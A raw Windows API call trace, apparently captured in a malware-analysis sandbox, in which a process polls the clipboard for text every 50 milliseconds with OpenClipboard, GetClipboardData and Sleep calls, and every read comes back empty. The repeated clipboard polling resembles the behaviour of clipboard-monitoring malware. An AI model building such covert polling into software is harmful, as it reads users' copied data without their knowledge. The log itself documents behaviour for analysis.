[0267.508] CloseClipboard () returned 1
[0267.508] Sleep (dwMilliseconds=0x32)
[0267.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa6ab768, dwHighDateTime=0x1d96e12))
[0267.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.523] GetClipboardData (uFormat=0x1) returned 0x0
[0267.523] CloseClipboard () returned 1
[0267.523] Sleep (dwMilliseconds=0x32)
[0267.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa6d19b1, dwHighDateTime=0x1d96e12))
[0267.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.540] GetClipboardData (uFormat=0x1) returned 0x0
[0267.540] CloseClipboard () returned 1
[0267.540] Sleep (dwMilliseconds=0x32)
[0267.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa6f7bfc, dwHighDateTime=0x1d96e12))
[0267.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.554] GetClipboardData (uFormat=0x1) returned 0x0
[0267.554] CloseClipboard () returned 1
[0267.555] Sleep (dwMilliseconds=0x32)
[0267.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa71de78, dwHighDateTime=0x1d96e12))
[0267.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.571] GetClipboardData (uFormat=0x1) returned 0x0
[0267.572] CloseClipboard () returned 1
[0267.572] Sleep (dwMilliseconds=0x32)
[0267.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa7440cb, dwHighDateTime=0x1d96e12))
[0267.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.586] GetClipboardData (uFormat=0x1) returned 0x0
[0267.586] CloseClipboard () returned 1
[0267.586] Sleep (dwMilliseconds=0x32)
[0267.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa76a2e0, dwHighDateTime=0x1d96e12))
[0267.603] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.603] GetClipboardData (uFormat=0x1) returned 0x0
[0267.603] CloseClipboard () returned 1
[0267.603] Sleep (dwMilliseconds=0x32)
[0267.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa790582, dwHighDateTime=0x1d96e12))
[0267.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.618] GetClipboardData (uFormat=0x1) returned 0x0
[0267.618] CloseClipboard () returned 1
[0267.619] Sleep (dwMilliseconds=0x32)
[0267.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa7b67d9, dwHighDateTime=0x1d96e12))
[0267.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.632] GetClipboardData (uFormat=0x1) returned 0x0
[0267.633] CloseClipboard () returned 1
[0267.633] Sleep (dwMilliseconds=0x32)
[0267.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa7dca32, dwHighDateTime=0x1d96e12))
[0267.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.648] GetClipboardData (uFormat=0x1) returned 0x0
[0267.649] CloseClipboard () returned 1
[0267.649] Sleep (dwMilliseconds=0x32)
[0267.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa802c95, dwHighDateTime=0x1d96e12))
[0267.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.671] GetClipboardData (uFormat=0x1) returned 0x0
[0267.671] CloseClipboard () returned 1
[0267.671] Sleep (dwMilliseconds=0x32)
[0267.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa828ee4, dwHighDateTime=0x1d96e12))
[0267.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.679] GetClipboardData (uFormat=0x1) returned 0x0
[0267.679] CloseClipboard () returned 1
[0267.680] Sleep (dwMilliseconds=0x32)
[0267.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa84f13f, dwHighDateTime=0x1d96e12))
[0267.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.697] GetClipboardData (uFormat=0x1) returned 0x0
[0267.697] CloseClipboard () returned 1
[0267.697] Sleep (dwMilliseconds=0x32)
[0267.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa8753b1, dwHighDateTime=0x1d96e12))
[0267.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.711] GetClipboardData (uFormat=0x1) returned 0x0
[0267.711] CloseClipboard () returned 1
[0267.711] Sleep (dwMilliseconds=0x32)
[0267.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa89b5fb, dwHighDateTime=0x1d96e12))
[0267.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.726] GetClipboardData (uFormat=0x1) returned 0x0
[0267.726] CloseClipboard () returned 1
[0267.726] Sleep (dwMilliseconds=0x32)
[0267.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa8c1858, dwHighDateTime=0x1d96e12))
[0267.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.743] GetClipboardData (uFormat=0x1) returned 0x0
[0267.743] CloseClipboard () returned 1
[0267.743] Sleep (dwMilliseconds=0x32)
[0267.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa8e7ab4, dwHighDateTime=0x1d96e12))
[0267.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.757] GetClipboardData (uFormat=0x1) returned 0x0
[0267.758] CloseClipboard () returned 1
[0267.758] Sleep (dwMilliseconds=0x32)
[0267.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa90dd04, dwHighDateTime=0x1d96e12))
[0267.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.773] GetClipboardData (uFormat=0x1) returned 0x0
[0267.773] CloseClipboard () returned 1
[0267.773] Sleep (dwMilliseconds=0x32)
[0267.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa933f5d, dwHighDateTime=0x1d96e12))
[0267.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.790] GetClipboardData (uFormat=0x1) returned 0x0
[0267.790] CloseClipboard () returned 1
[0267.790] Sleep (dwMilliseconds=0x32)
[0267.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa95a1b9, dwHighDateTime=0x1d96e12))
[0267.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.805] GetClipboardData (uFormat=0x1) returned 0x0
[0267.805] CloseClipboard () returned 1
[0267.805] Sleep (dwMilliseconds=0x32)
[0267.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa98040c, dwHighDateTime=0x1d96e12))
[0267.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.822] GetClipboardData (uFormat=0x1) returned 0x0
[0267.822] CloseClipboard () returned 1
[0267.822] Sleep (dwMilliseconds=0x32)
[0267.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa9a666c, dwHighDateTime=0x1d96e12))
[0267.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.836] GetClipboardData (uFormat=0x1) returned 0x0
[0267.836] CloseClipboard () returned 1
[0267.836] Sleep (dwMilliseconds=0x32)
[0267.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa9cc8cb, dwHighDateTime=0x1d96e12))
[0267.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.851] GetClipboardData (uFormat=0x1) returned 0x0
[0267.851] CloseClipboard () returned 1
[0267.851] Sleep (dwMilliseconds=0x32)
[0267.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa9f2b22, dwHighDateTime=0x1d96e12))
[0267.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.868] GetClipboardData (uFormat=0x1) returned 0x0
[0267.868] CloseClipboard () returned 1
[0267.868] Sleep (dwMilliseconds=0x32)
[0267.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaa18d7a, dwHighDateTime=0x1d96e12))
[0267.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.883] GetClipboardData (uFormat=0x1) returned 0x0
[0267.883] CloseClipboard () returned 1
[0267.883] Sleep (dwMilliseconds=0x32)
[0267.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaa3efd2, dwHighDateTime=0x1d96e12))
[0267.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.898] GetClipboardData (uFormat=0x1) returned 0x0
[0267.898] CloseClipboard () returned 1
[0267.898] Sleep (dwMilliseconds=0x32)
[0267.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaa65234, dwHighDateTime=0x1d96e12))
[0267.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.915] GetClipboardData (uFormat=0x1) returned 0x0
[0267.915] CloseClipboard () returned 1
[0267.915] Sleep (dwMilliseconds=0x32)
[0267.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaa8b489, dwHighDateTime=0x1d96e12))
[0267.934] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.934] GetClipboardData (uFormat=0x1) returned 0x0
[0267.934] CloseClipboard () returned 1
[0267.934] Sleep (dwMilliseconds=0x32)
[0267.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaab16ed, dwHighDateTime=0x1d96e12))
[0267.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.947] GetClipboardData (uFormat=0x1) returned 0x0
[0267.947] CloseClipboard () returned 1
[0267.947] Sleep (dwMilliseconds=0x32)
[0267.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaad7943, dwHighDateTime=0x1d96e12))
[0267.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.961] GetClipboardData (uFormat=0x1) returned 0x0
[0267.961] CloseClipboard () returned 1
[0267.961] Sleep (dwMilliseconds=0x32)
[0267.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaafdb95, dwHighDateTime=0x1d96e12))
[0267.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.976] GetClipboardData (uFormat=0x1) returned 0x0
[0267.976] CloseClipboard () returned 1
[0267.976] Sleep (dwMilliseconds=0x32)
[0267.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfab23def, dwHighDateTime=0x1d96e12))
[0267.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.993] GetClipboardData (uFormat=0x1) returned 0x0
[0267.993] CloseClipboard () returned 1
[0267.993] Sleep (dwMilliseconds=0x32)
[0268.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfab4a045, dwHighDateTime=0x1d96e12))
[0268.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.008] GetClipboardData (uFormat=0x1) returned 0x0
[0268.008] CloseClipboard () returned 1
[0268.008] Sleep (dwMilliseconds=0x32)
[0268.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfab702a0, dwHighDateTime=0x1d96e12))
[0268.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.023] GetClipboardData (uFormat=0x1) returned 0x0
[0268.023] CloseClipboard () returned 1
[0268.023] Sleep (dwMilliseconds=0x32)
[0268.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfab96512, dwHighDateTime=0x1d96e12))
[0268.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.040] GetClipboardData (uFormat=0x1) returned 0x0
[0268.040] CloseClipboard () returned 1
[0268.040] Sleep (dwMilliseconds=0x32)
[0268.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfabbc754, dwHighDateTime=0x1d96e12))
[0268.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.054] GetClipboardData (uFormat=0x1) returned 0x0
[0268.054] CloseClipboard () returned 1
[0268.054] Sleep (dwMilliseconds=0x32)
[0268.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfabe29af, dwHighDateTime=0x1d96e12))
[0268.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.071] GetClipboardData (uFormat=0x1) returned 0x0
[0268.071] CloseClipboard () returned 1
[0268.072] Sleep (dwMilliseconds=0x32)
[0268.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfac08c0a, dwHighDateTime=0x1d96e12))
[0268.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.086] GetClipboardData (uFormat=0x1) returned 0x0
[0268.086] CloseClipboard () returned 1
[0268.086] Sleep (dwMilliseconds=0x32)
[0268.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfac2ee68, dwHighDateTime=0x1d96e12))
[0268.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.101] GetClipboardData (uFormat=0x1) returned 0x0
[0268.101] CloseClipboard () returned 1
[0268.101] Sleep (dwMilliseconds=0x32)
[0268.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfac550bd, dwHighDateTime=0x1d96e12))
[0268.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.118] GetClipboardData (uFormat=0x1) returned 0x0
[0268.118] CloseClipboard () returned 1
[0268.118] Sleep (dwMilliseconds=0x32)
[0268.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfac7b31b, dwHighDateTime=0x1d96e12))
[0268.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.133] GetClipboardData (uFormat=0x1) returned 0x0
[0268.133] CloseClipboard () returned 1
[0268.133] Sleep (dwMilliseconds=0x32)
[0268.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaca156f, dwHighDateTime=0x1d96e12))
[0268.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.148] GetClipboardData (uFormat=0x1) returned 0x0
[0268.148] CloseClipboard () returned 1
[0268.148] Sleep (dwMilliseconds=0x32)
[0268.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfacc77d1, dwHighDateTime=0x1d96e12))
[0268.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.165] GetClipboardData (uFormat=0x1) returned 0x0
[0268.165] CloseClipboard () returned 1
[0268.165] Sleep (dwMilliseconds=0x32)
[0268.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaceda31, dwHighDateTime=0x1d96e12))
[0268.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.179] GetClipboardData (uFormat=0x1) returned 0x0
[0268.179] CloseClipboard () returned 1
[0268.180] Sleep (dwMilliseconds=0x32)
[0268.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfad13c84, dwHighDateTime=0x1d96e12))
[0268.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.196] GetClipboardData (uFormat=0x1) returned 0x0
[0268.196] CloseClipboard () returned 1
[0268.196] Sleep (dwMilliseconds=0x32)
[0268.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfad39ee3, dwHighDateTime=0x1d96e12))
[0268.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.211] GetClipboardData (uFormat=0x1) returned 0x0
[0268.211] CloseClipboard () returned 1
[0268.211] Sleep (dwMilliseconds=0x32)
[0268.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfad60139, dwHighDateTime=0x1d96e12))
[0268.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.226] GetClipboardData (uFormat=0x1) returned 0x0
[0268.226] CloseClipboard () returned 1
[0268.226] Sleep (dwMilliseconds=0x32)
[0268.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfad8638d, dwHighDateTime=0x1d96e12))
[0268.244] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.244] GetClipboardData (uFormat=0x1) returned 0x0
[0268.244] CloseClipboard () returned 1
[0268.244] Sleep (dwMilliseconds=0x32)
[0268.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfadac5ea, dwHighDateTime=0x1d96e12))
[0268.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.258] GetClipboardData (uFormat=0x1) returned 0x0
[0268.258] CloseClipboard () returned 1
[0268.258] Sleep (dwMilliseconds=0x32)
[0268.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfadd2844, dwHighDateTime=0x1d96e12))
[0268.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.273] GetClipboardData (uFormat=0x1) returned 0x0
[0268.273] CloseClipboard () returned 1
[0268.273] Sleep (dwMilliseconds=0x32)
[0268.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfadf8a9f, dwHighDateTime=0x1d96e12))
[0268.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.290] GetClipboardData (uFormat=0x1) returned 0x0
[0268.290] CloseClipboard () returned 1
[0268.290] Sleep (dwMilliseconds=0x32)
[0268.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfae1ecfa, dwHighDateTime=0x1d96e12))
[0268.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.304] GetClipboardData (uFormat=0x1) returned 0x0
[0268.304] CloseClipboard () returned 1
[0268.305] Sleep (dwMilliseconds=0x32)
[0268.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfae44f4e, dwHighDateTime=0x1d96e12))
[0268.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.321] GetClipboardData (uFormat=0x1) returned 0x0
[0268.322] CloseClipboard () returned 1
[0268.322] Sleep (dwMilliseconds=0x32)
[0268.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfae6b1b1, dwHighDateTime=0x1d96e12))
[0268.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.336] GetClipboardData (uFormat=0x1) returned 0x0
[0268.336] CloseClipboard () returned 1
[0268.336] Sleep (dwMilliseconds=0x32)
[0268.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfae91407, dwHighDateTime=0x1d96e12))
[0268.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.351] GetClipboardData (uFormat=0x1) returned 0x0
[0268.351] CloseClipboard () returned 1
[0268.352] Sleep (dwMilliseconds=0x32)
[0268.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaeb765d, dwHighDateTime=0x1d96e12))
[0268.369] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.369] GetClipboardData (uFormat=0x1) returned 0x0
[0268.369] CloseClipboard () returned 1
[0268.369] Sleep (dwMilliseconds=0x32)
[0268.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaedd8bb, dwHighDateTime=0x1d96e12))
[0268.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.382] GetClipboardData (uFormat=0x1) returned 0x0
[0268.383] CloseClipboard () returned 1
[0268.383] Sleep (dwMilliseconds=0x32)
[0268.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaf03b19, dwHighDateTime=0x1d96e12))
[0268.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.398] GetClipboardData (uFormat=0x1) returned 0x0
[0268.399] CloseClipboard () returned 1
[0268.399] Sleep (dwMilliseconds=0x32)
[0268.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaf29d73, dwHighDateTime=0x1d96e12))
[0268.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.415] GetClipboardData (uFormat=0x1) returned 0x0
[0268.415] CloseClipboard () returned 1
[0268.415] Sleep (dwMilliseconds=0x32)
[0268.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaf76259, dwHighDateTime=0x1d96e12))
[0268.456] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.458] GetClipboardData (uFormat=0x1) returned 0x0
[0268.458] CloseClipboard () returned 1
[0268.458] Sleep (dwMilliseconds=0x32)
[0268.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfaf9c483, dwHighDateTime=0x1d96e12))
[0268.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.461] GetClipboardData (uFormat=0x1) returned 0x0
[0268.461] CloseClipboard () returned 1
[0268.461] Sleep (dwMilliseconds=0x32)
[0268.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfafc26e1, dwHighDateTime=0x1d96e12))
[0268.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.476] GetClipboardData (uFormat=0x1) returned 0x0
[0268.476] CloseClipboard () returned 1
[0268.476] Sleep (dwMilliseconds=0x32)
[0268.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfafe892d, dwHighDateTime=0x1d96e12))
[0268.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.493] GetClipboardData (uFormat=0x1) returned 0x0
[0268.493] CloseClipboard () returned 1
[0268.494] Sleep (dwMilliseconds=0x32)
[0268.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb00eb8c, dwHighDateTime=0x1d96e12))
[0268.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.507] GetClipboardData (uFormat=0x1) returned 0x0
[0268.508] CloseClipboard () returned 1
[0268.508] Sleep (dwMilliseconds=0x32)
[0268.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb034de0, dwHighDateTime=0x1d96e12))
[0268.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.523] GetClipboardData (uFormat=0x1) returned 0x0
[0268.523] CloseClipboard () returned 1
[0268.523] Sleep (dwMilliseconds=0x32)
[0268.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb05b04a, dwHighDateTime=0x1d96e12))
[0268.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.540] GetClipboardData (uFormat=0x1) returned 0x0
[0268.540] CloseClipboard () returned 1
[0268.540] Sleep (dwMilliseconds=0x32)
[0268.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb081296, dwHighDateTime=0x1d96e12))
[0268.555] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.555] GetClipboardData (uFormat=0x1) returned 0x0
[0268.555] CloseClipboard () returned 1
[0268.555] Sleep (dwMilliseconds=0x32)
[0268.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb0a74f2, dwHighDateTime=0x1d96e12))
[0268.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.571] GetClipboardData (uFormat=0x1) returned 0x0
[0268.572] CloseClipboard () returned 1
[0268.572] Sleep (dwMilliseconds=0x32)
[0268.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb0cd748, dwHighDateTime=0x1d96e12))
[0268.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.586] GetClipboardData (uFormat=0x1) returned 0x0
[0268.586] CloseClipboard () returned 1
[0268.586] Sleep (dwMilliseconds=0x32)
[0268.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb0f39ab, dwHighDateTime=0x1d96e12))
[0268.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.601] GetClipboardData (uFormat=0x1) returned 0x0
[0268.601] CloseClipboard () returned 1
[0268.601] Sleep (dwMilliseconds=0x32)
[0268.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb119c01, dwHighDateTime=0x1d96e12))
[0268.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.618] GetClipboardData (uFormat=0x1) returned 0x0
[0268.618] CloseClipboard () returned 1
[0268.618] Sleep (dwMilliseconds=0x32)
